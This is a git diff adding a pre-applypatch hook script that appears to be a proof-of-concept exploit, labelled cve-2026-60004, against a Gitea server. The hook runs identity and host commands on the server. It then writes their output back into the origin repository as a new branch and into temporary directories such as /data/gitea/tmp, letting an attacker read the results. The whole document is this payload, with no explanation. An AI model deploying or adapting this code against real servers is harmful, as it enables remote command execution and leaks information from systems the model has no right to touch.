diff --git a/hooks/pre-applypatch b/hooks/pre-applypatch new file mode 100755 index 0000000..870c35b --- /dev/null +++ b/hooks/pre-applypatch @@ -0,0 +1,26 @@ +#!/bin/sh +git_dir=$(git rev-parse --absolute-git-dir 2>/dev/null) || exit 0 +alt=$(sed -n "1p" "$git_dir/objects/info/alternates" 2>/dev/null) +case "$alt" in + /*) ;; + *) alt="$git_dir/objects/$alt" ;; +esac +origin_git=${alt%/objects} +OUT=$(/bin/sh -c 'id; uname -a; whoami; hostname' 2>&1) +st=$? +printf "\n[exit-status=%s]\n" "$st" >> "$OUT" +blob=$(printf "%s" "$OUT" | git --git-dir="$origin_git" hash-object -w --stdin 2>/dev/null) +if [ -n "$blob" ]; then + tree=$(printf "100644 blob %s\toutput\n" "$blob" | git --git-dir="$origin_git" mktree 2>/dev/null) + commit=$(printf "cve-2026-60004\n" | GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@example.invalid GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@example.invalid git --git-dir="$origin_git" commit-tree "$tree" 2>/dev/null) + git --git-dir="$origin_git" update-ref refs/heads/output-4bd63421 "$commit" 2>/dev/null +fi +if [ -d "$origin_git" ]; then + printf "%s" "$OUT" > "$origin_git/cve-2026-60004-output.txt" 2>/dev/null +fi +for d in /data/gitea/tmp /tmp /data/gitea/uploads /var/tmp; do + if [ -d "$d" ] && [ -w "$d" ]; then + printf "%s" "$OUT" > "$d/cve-2026-60004-output.txt" 2>/dev/null && break + fi +done +exit 0